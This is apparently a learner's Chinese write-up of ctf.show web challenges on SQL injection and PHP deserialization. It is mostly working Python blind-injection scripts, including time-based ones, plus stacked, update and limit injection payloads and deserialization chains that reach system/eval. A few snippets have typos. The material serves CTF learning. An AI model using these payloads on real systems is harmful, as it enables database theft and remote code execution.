#@File : sql 登陆栏盲注(用户名不存在,密码错误).py
#@Software: PyCharm import requests url = "http://fc523053-3df4-4e32-978a-a8e738f2757b.challenge.ctf.show/api/" data = {'username':'',
        'password':123456} flag = ''

for i in range(1,46):
    start = 32
    end = 127
    while start < end:
        mid = (start + end) >> 1
        #取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload = "select f1ag from ctfshow_fl0g"
        data['username'] = f"admin' and if(ascii(substr(({payload}), {i} , 1)) > {mid}, 1, 2)=1#"
        res = requests.post(url=url, data=data)
        if "密码错误" in res.json()['msg']:
            start = mid +1
        else:
            end = mid
    flag = flag + chr(start)
    print(flag) ```

## Web191

![image-20211108141724361](https://img-blog.csdnimg.cn/img_convert/1f6e60acc035f9e2fee01ac889ebf4df.png)

上一题脚本不能用,acsii被过滤,尝试其他方式,想到了sleep(),要找到sleep()可以在那里插入

尝试构造payload

偷看了一眼wp

用ord()替换asciiord是返回字符串第一位的ascii码,以为这里截取了以为,所以两者作用一致

`admin' and if(ord(substrc(select group_concat(table_name) from information_schema.tables where table_schema=database(),n,1)>x),1,2)=1`

查完表查字段,然后对字段匹配就可以了

## Web192

![image-20211108193836453](https://img-blog.csdnimg.cn/img_convert/fec326088f4918f38295144be65753d2.png)

寄,ord也过滤了,if不能用了,还有什么可以用的=-=

跑字段会出问题,但是可以跑出表...不是很清楚为什么,

**脚本:**

```python
#-- coding: utf-8 --
#@Time : 2021/11/8 9:45
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql 登陆栏盲注(用户名不存在,密码错误).py
#@Software: PyCharm import requests url = "http://f35e2490-cba6-44b0-91c5-8ec6e5fe85c0.challenge.ctf.show/api/" data = {'username':'',
        'password':1} flag = '' str="0123456789abcdefghijklmnopqrstuvwxyz-{}"

for i in range(1,99):
    for j in str:
        #取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        #ascii可以用ord替换,依照过滤情况决定
        #username_data =   f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
        data['username'] = f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
        res = requests.post(url=url, data=data)
        if "密码错误" in res.json()['msg']:
            flag+=j
            print(flag)
            break
        if j == "}":
            exit()

Web193

image-20211109175158994

和上题相比这次把substr也过滤了,尝试换成mid,但是不可以…没有结果返回

这里失误了,表名和之前都不一样了,重新查询表——字段

脚本:(匹配的字符串中加入表名中可能出现的_与分割字段名的,

#-- coding: utf-8 --
#@Time : 2021/11/8 9:45
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql 登陆栏盲注(用户名不存在,密码错误).py
#@Software: PyCharm import requests url = "http://f986d998-4390-4add-8d2b-e032a6843d87.challenge.ctf.show/api/" data = {'username':'',
        'password':1} flag = '' str="0123456789abcdefghijklmnopqrstuvwxyz-_,{}"

for i in range(1,99):
    for j in str:
        #取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
        payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #ascii可以用ord替换,依照过滤情况决定
        #username_data =   f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
        data['username'] = f"admin' and if(mid(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
        res = requests.post(url=url, data=data)
        if "密码错误" in res.json()['msg']:
            flag+=j
            print(flag)
            break
        if j == "}":
            exit()

Web194(盲注结束)

image-20211109181120073

过滤了left之类的截取函数,不妨碍我们用mid

脚本:

#-- coding: utf-8 --
#@Time : 2021/11/8 9:45
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql 登陆栏盲注(用户名不存在,密码错误).py
#@Software: PyCharm import requests url = "http://963e479a-ae45-4c5b-a253-6952cf10f855.challenge.ctf.show/api/" data = {'username':'',
        'password':1} flag = '' str="0123456789abcdefghijklmnopqrstuvwxyz_,-{}"

for i in range(1,99):
    for j in str:
        #取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #ascii可以用ord替换,依照过滤情况决定
        #username_data =   f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
        data['username'] = f"admin' and if(mid(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
        res = requests.post(url=url, data=data)
        if "密码错误" in res.json()['msg']:
            flag+=j
            print(flag)
            break
        if j == "}":
            exit()

Web195(堆叠注入开始)

image-20211109183936041

是堆叠注入,形式是;后面接查询语句,大概思路尝试用show(databases),但是返回查询失败,并且这里不能使用into所以insert也不能使用

师傅们的wp:

sql果然不能被常识束缚,要去用一些奇怪的操作…

这里师傅使用的是update来更新数据库中相应字段的值,并且用`反引号来代替空格(这我还真不知道)

payload="0x61646d696e;updatectfshow_usersetpass=123456"

这里用了16进制,原因是username没有用单引号包裹

image-20211109191038457

Web196

image-20211109191636808

这次对username有了长度限制,寄了,没有思路

师傅们的wp:

虽然过滤表里写了select,但是并没有过滤…

payload=1;select(1)

Web197

image-20211109200715775

啥啊,show database不能用,updata不能用select不能用,set也被禁,不能用

真没思路,堆叠注入不熟

师傅们的wp:

username=admin;show tables

password=ctfshow_user

这没想到不应该啊,返回的值是查询后的表名,只要传入ctfshow_user就可以了

Web198

image-20211113121122354

逻辑上还是没有太大变化,尝试使用username=show tables,password=ctfshow_user,但是返回查询失败

这里是使用错误

应该是把username字段里的值换了一下,尝试username=1;show tables,passowrd=ctfshow_user后获得flag

Web199

show没过滤,直接过

Web200(堆叠注入结束)

继续过

Web201(sqlmap开始)

image-20211113131922787

按照题目提示修改

--user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44"
--referer "http://www.baidu.com" ```

![image-20211113133105292](https://img-blog.csdnimg.cn/img_convert/a835caa13bb0ca79098aaff609505e85.png)

查询失败,返回结果如下

![image-20211113133202724](https://img-blog.csdnimg.cn/img_convert/c06e50217b26ae095998061269b3d19f.png)

有一些问题目前跑不了,需要先放放了

## Web214(开始时间盲注)

![image-20211113151134095](https://img-blog.csdnimg.cn/img_convert/cc255fa383fb9c4bbdbcb56068fad153.png)

麻了,这次连查询语句也不给了,尝试其他办法

这里有一个大坑,是关于抓包爆破目录和参数的,暂且不填,等能力够了以后在填吧..

**师傅们的wp**:

直接上脚本

```python
#-- coding: utf-8 --
#@Time : 2021/11/14 17:40
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql时间注入(基本).py
#@Software: PyCharm import requests import time

url = "http://6c8bc3bf-97a6-46f9-9b3e-a10c84aacda6.challenge.ctf.show/api/" str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,," flag = ""

#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)" payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)" n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        print(end - start)
        if end - start > 4.9 and end - start < 6.9:
            flag += j
            n += 1
            print('[*] 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print('[*] flag is {}'.format(flag))
                exit()
            break

Web215

image-20211114175016088

这次提示用了单引号,尝试修改脚本,失败,尝试更换方法,单引号闭合一下(重新跑一下表名,成功)

#-- coding: utf-8 --
#@Time : 2021/11/14 17:40
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql时间注入(基本).py
#@Software: PyCharm import requests import time

url = "http://187c187b-c401-4403-81ad-e467f8893db8.challenge.ctf.show/api/" str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,," flag = ""

#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)" payload = "1' union select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)-- qwe" n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        print(end - start)
        if end - start > 4.9 and end - start < 6.9:
            flag += j
            n += 1
            print('[*] 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print('[*] flag is {}'.format(flag))
                exit()
            break ```

## Web216

![image-20211114182950379](https://img-blog.csdnimg.cn/img_convert/e4044f2ce381fcfbb6167966f22cca37.png)

这次告诉了我们查询语句,没有影响,加个括号,然后这里因为有可能查询失败,所以我们用or

```python
#-- coding: utf-8 --
#@Time : 2021/11/14 17:40
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql时间注入(基本).py
#@Software: PyCharm import requests import time

url = "http://0331c2a6-a440-4cfe-9848-a23d923cf871.challenge.ctf.show/api/" str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,," flag = ""

#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)" payload = "1) or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)-- qwe" n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        print(end - start)
        if end - start > 4.9 and end - start < 6.9:
            flag += j
            n += 1
            print('[*] 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print('[*] flag is {}'.format(flag))
                exit()
            break ```

## Web217

![image-20211114191111734](https://img-blog.csdnimg.cn/img_convert/1952ee741c80100a25a491c87a63e83f.png)

加个括号,因为这次过滤了`sleep`,改用`benchmark(10000000,sha(1))`,执行时间是3.X秒,成功跑出

```python
#-- coding: utf-8 --
#@Time : 2021/11/14 17:40
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql时间注入(基本).py
#@Software: PyCharm import requests import time

url = "http://2ed8a81d-9b6e-428d-9528-7b6ed5427376.challenge.ctf.show/api/" str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,," flag = ""

#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)" payload = "-1) or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',benchmark(10000000,sha(1)),0)-- qwe" n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        print(end - start)
        if end - start > 1.9 and end - start < 6.9:
            flag += j
            n += 1
            print('[*] 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print('[*] flag is {}'.format(flag))
                exit()
            break

Web218

image-20211114195352114

这次把benchmar也过滤了,自己的脚本怎么改都是超时,麻了

师傅们的脚本:

#-- coding: utf-8 --
#@Time : 2021/11/14 17:40
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql时间注入(基本).py
#@Software: PyCharm

import requests import time bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" url = "http://edcecf83-c090-4fc4-b133-bbc548328e16.challenge.ctf.show/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""
#1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#求表payload = "1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) and  if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',({}),0)#" payload = "1) and  if(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1)='{}',({}),0)#"


n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j,bypass),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        print(end-start)
        if end - start > 0.4 and end - start < 1.2:
            flag += j
            n += 1
            print('[*] 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print('[*] flag is {}'.format(flag))
                exit()
            break

Web221(开始其他注入)(limit注入)

image-20211115161055430

给了提示说是limit注入

image-20211115174217555

在api页面尝试注入,但是一直失败,目前已知

?page=1),1'&limit=1这个返回结果是image-20211115175254273

和正常的limit x,x格式一样,但是union语句不起作用

尝试了半天,麻了,是真的不管用

师傅们的wp:

这里有丶傻了

?page=1&limit=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),2)

只要让page-1=0就好了,这样limit就可以任意构造了,毕竟0乘任何数都为0,这里好像只能用procedure analyse()

procedure analyse()是sql中的分析函数?具体作用还不是很清楚,等待尝试,这里先知道这个常用注入方法

Web222(group注入)

image-20211115183223328

这里告诉了我们使用的是group注入,百度了mysql group注入的方法,好像确实难

先来看一下group的作用:

这是user表的结构

image-20211115192323827

使用group by后(对username字段)(或者是对字段位置1)

image-20211115192516375

使用group by后(对password字段)(或者是对字段位置2)

image-20211115192639228

group by也可以用于统计(分组计数,并不是把每一个删掉了),通过这里可以看出来实际上group by是对该字段下的数据进行逐一比对,然后再进行重新排序

image-20211115193744545

如果是对两个字段查询,那么只有在两个字段的count相等时才会归为一类

image-20211115194047585

关于X:

这是关于X的用法,从下图可以看出来X相当于起别名,换其他英文(数字和中文需要加单引号)也是可以的

image-20211115194546526

image-20211115194756775

然后是下图这个操作,这里涉及到mysql执行顺序的问题,mysql查询语句执行顺序 - 知乎 (zhihu.com)

image-20211115200348454

每个语句在执行时都会产生虚表,这里可以注意一下

image-20211115200810993

image-20211115200758844

原理大概懂了,但是还是不会构造语句,这里先用师傅的脚本

师傅的脚本:

#-- coding: utf-8 --
#@Time : 2021/11/16 17:59
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql group by注入(测试用).py
#@Software: PyCharm import requests import time

url = "http://9a446c1a-4acd-4873-a290-53b36046a7b9.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"


flag = ""
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
#查表
# sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段
# sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#查flag sql= "select flagaabc from ctfshow_flaga"
#------------------------------------------------------------------------------------------------------------------------------------------------------------- payload = "concat(if(substr(({}),{},1)='{}',sleep(0.10),0),1)"

#concat(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(0.10),0),1)


n = 0

for i in range(0, 666):
    for j in str:
        params = {
            'u' : payload.format(sql,i,j)
        }

        start = time.time()
        res = requests.get(url = url, params = params)
        end = time.time()
        if end - start > 2 and end - start < 3:
            flag += j
            n += 1
            print('[*] 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print('[*] flag is {}'.format(flag))
                exit()
            break ```

## Web223(group注入)

![image-20211116180246030](https://img-blog.csdnimg.cn/img_convert/c7c9f181f06272b507eaaeef7881f700.png)

这次才是真正的group by注入

过滤了数字,用户名不能是数字,没事了,被骗了,根本用不到group by注入,就是布尔盲注..

**师傅们的脚本:**

```python
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io import requests
#import time

def generateNum(num):
    res = 'true'
    if num == 1:
        return res
    else:
        for i in range(num-1):
            res += "+true"
        return res


url = "http://ce009cf2-8652-4737-ba07-b3bfc3bc3a4a.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""

#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#--------查flag sql= "select flagasabc from ctfshow_flagas"
#************************************************************************************************************************************************************* payload = "if(ascii(substr(({}),{},true))=({}),username,false)"


#计数 n = 0

for i in range(1, 666):
    for j in range(32,126):
        result_num=generateNum(i)
        result=generateNum(j)
        params = {
            'u' : payload.format(sql,result_num,result)
        }

        res = requests.get(url = url, params = params)
        if "userAUTO" in res.text:
            flag += chr(j)
            n += 1
            print('[*] 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print('[*] flag is {}'.format(flag))
                exit()
            break ```

只能写基本的脚本,太难的还是不行啊...这里用true代替了1,也算是一种新的代替方式?

## Web224

![image-20211116183049163](https://img-blog.csdnimg.cn/img_convert/fc3bdaa67efdb2d43e5d881e392c35a1.png)

一个登陆框,完了,这种试的是真没有思路..

![image-20211116185845963](https://img-blog.csdnimg.cn/img_convert/e7468525750544d1c78ab4d8e4514b63.png)

350是可用的,361是被过滤了的,这几个啥也组合不了啊

**师傅们的wp:**

超,我是憨憨,这里应该先扫一下试试的

扫描发现robots.txt

有一个重置密码的页面

重置密码后登陆,发现是一个文件上传,但是好像有很多限制,对文件大小有限制,对文件的类型也有限制

![image-20211116193700111](https://img-blog.csdnimg.cn/img_convert/ac6842a3905d37dfb63799fb0449f3d3.png)

啊这,这里用到群里的一个文件payload.bin,上传之后将1.php上传给,里面包含着16进制的

![image-20211116194108295](https://img-blog.csdnimg.cn/img_convert/7ceacf3d33df391944c197850cdb3518.png)

之后

![image-20211116194120595](https://img-blog.csdnimg.cn/img_convert/0d47923b3bdcf93c1cbe6cb424fc874f.png)

获得flag,所以这和sql注入有什么关系=-=

## Web225(堆叠注入提升)

![image-20211116200009971](https://img-blog.csdnimg.cn/img_convert/a82eedde825e9f43964bb8df8150de06.png)

过滤了几乎全部的语句,麻了,换一个类型就不会了,这tm学了个勾八

![image-20211116200115028](https://img-blog.csdnimg.cn/img_convert/cc29aae09c3550fb2f74b156852060ff.png)

找到真实的传参地址`/api`,并且找到真实的参数,`username`,`page`,`limit`

**师傅们的wp:**

怕自己又忘,这里提一嘴,`'{$username}'`这里只要闭合单引号就行

`payload1:ctfshow';show tables-- qwe`

![image-20211116201907419](https://img-blog.csdnimg.cn/img_convert/08094e2333cd1efdb8b3c64ba232356e.png)

`payload2:username=ctfshow';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;`

![image-20211116202028307](https://img-blog.csdnimg.cn/img_convert/003eb4ac3c2e743d910b27ae75a3f4da.png)

这里师傅是用了handler方法(这又是啥啊。。。)

## Web226

![image-20211117135804272](https://img-blog.csdnimg.cn/img_convert/99373f6526584fb386d8b6f8fdc69a18.png)

这里过滤的有丶多,基本堆叠注入能用的和我知道的都给我禁了,~~开始摆烂~~

没思路了,能查到的方法都不能用。。。

**师傅们的wp:**

新知识,预处理定义语句,然后执行,并且预处理会对16进制进行转换,所以这里直接将`select * from ctfsh_ow_flagas`换为16进制`0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173`

构造**payload:**

`?username=userAUTO';prepare baiwu from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;execute baiwu--+ `这里的`prepare baiwu from`是mysql预处理的语句,将from后的内容预处理并存放在baiwu中,之后调用execute就可以运行

## Web227

![image-20211118080215745](https://img-blog.csdnimg.cn/img_convert/11729e2a388941d19c39117ed81fd57e.png)

看着和上一题没区别,实际上这里是考察了

[(18条消息) MySQL——查看存储过程和函数_时光·漫步的博客-CSDN博客_mysql查看函数命令](https://blog.csdn.net/qq_41573234/article/details/80411079)

**构造payload:**

`?username=userAUTO';prepare baiwu from 0x2053454c4543542020202a20202046524f4d202020696e666f726d6174696f6e5f736368656d612e526f7574696e6573;execute baiwu--+`

16进制的内容是` SELECT   *   FROM   information_schema.Routines`

## Web228

![image-20211118111127388](https://img-blog.csdnimg.cn/img_convert/d04cc241e574f47cc6e956be5d821f08.png)

因为不知道`banlist`里有什么,尝试了一下prepare,结果是可以使用,直接用

**构造payload:**

`?username=userAUTO';prepare baiwu from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;execute baiwu--+`

## Web229

![image-20211118111726593](https://img-blog.csdnimg.cn/img_convert/7512918b65a933f89035f65b081e84b6.png)

prepare继续

`?username=userAUTO';prepare baiwu from 0x73656c656374202a2066726f6d20666c6167;execute baiwu--+`

## Web230(堆叠注入结束)

`?username=userAUTO';prepare baiwu from 0x73656c656374202a2066726f6d20666c61676161626278;execute baiwu--+`

`prepare`过

## Web231(update注入开始)

![image-20211118112611012](https://img-blog.csdnimg.cn/img_convert/c8116e6e7035c2823a719b135f01b180.png)

update的用法是基本了解了,但是一些奇怪的用法还是不清楚的,这里就当做一次学习吧..

**师傅们的wp:**

我超,我是眼睛不好使了,这里本来就是update语句啊,我在试什么..

这里很明显的有一个任意语句执行

**构造payload:**

`username=132&password='1',username=database()-- qwe`

**可以执行后最终构造:**

`username=132&password=1',username=(select group_concat(flagas) from flaga)-- qwe`

![image-20211118154112866](https://img-blog.csdnimg.cn/img_convert/0f9be39564dab6fa62f60c00d9729ca7.png)

## Web232

![image-20211118154453334](https://img-blog.csdnimg.cn/img_convert/4d0408b8b9d6a4969c32c26d33d0303a.png)231一样,就是多了一层`md5()`,加一个`)`给他闭合就好了

基本步骤和上一题一样

**最终构造payload:**

`username=132&password=1'),username=(select flagass from flagaa)-- qwe`

## Web233

![image-20211118155341179](https://img-blog.csdnimg.cn/img_convert/90c7d54dac2a979c7293c700aeab95ea.png)

这次和上两题不一样,`username=132&password=1',username=database()-- qwe`语句不管用了,好像有什么东西被过滤了?

**师傅们的wp:**

手跑失败,目前已知的

可以正常更新,password注入会报错

username存在注入

**师傅们的脚本:**

```python
#-- coding: utf-8 --
#@Time : 2021/11/18 16:58
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql update注入(测试用).py
#@Software: PyCharm import requests

url = "http://5cb5a862-147c-43ad-97f1-c906ca142728.challenge.ctf.show/api/"

result = "" i = 0

while 1:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查表名
        # payload = "select column_name from information_schema.columns where table_name='flag233333' limit 1,1"
        # 查数据
        payload = "select flagass233 from flag233333"
        data = {
            'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#",
            'password': '4'
        }
        try:
            r = requests.post(url, data=data, timeout=0.9)
            tail = mid
        except Exception as e:
            head = mid + 1
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

通过这次涨了一个经验,不要在某一个参数上硬试,在某一个参数不成功的时候不妨试下其他参数.

Web234

image-20211118174257100

麻了,这次过滤了什么…

师傅们的wp:

考的是\逃逸单引号

构造payload:

username=,username=(select flagass23s3 from flag23a)-- - &password=\

Web235

暂时放放

反序列化

Web256


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0); highlight_file(__FILE__); include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    } }

$username=$_GET['username']; $password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    } }

一个比较简单的反序列化,传入usernamepassword后如果不为空则对cookie中user键的值进行反序列化,然后进行user->login,赋值username,password,然后就是判断和执行

构造payload:

    public $username='a';
    public $password='b';
    public $isVip=true; } $a=new ctfShowUser(); echo urlencode(serialize($a)); ?> ```

url编码后的反序列化为:`O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D`

**这里要注意,因为是要在cookie中传值,所以值要先url编码一次...因为忘记编码怎么传都不成功**

## Web257

```php <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0); highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    } }

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    } }

$username=$_GET['username']; $password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password); } ```

经典魔术方法,开始看到`ctfShowUser`类里有两个魔术方法`__construct()`和`__destruct()`

**这里把常用魔术方法列出来:**

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发 ```

师傅们的wp:

emm反序列化的结果可以是一个完整类,其中的构造和析构方法都可以执行,这里是第一次知道,要记住

构造payload:

    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    } public function __destruct(){
        $this->class->getInfo();
    } }

class backDoor{
    private $code="system(cat flag.php');";
    public function getInfo(){
        eval($code);
    } } $a=new ctfShowUser(); echo urlencode(serialize($a)); ```

**url编码后:** `user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A22%3A%22system%28cat+flag.php%27%29%3B%22%3B%7D%7D`

## Web258

```php <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0); highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
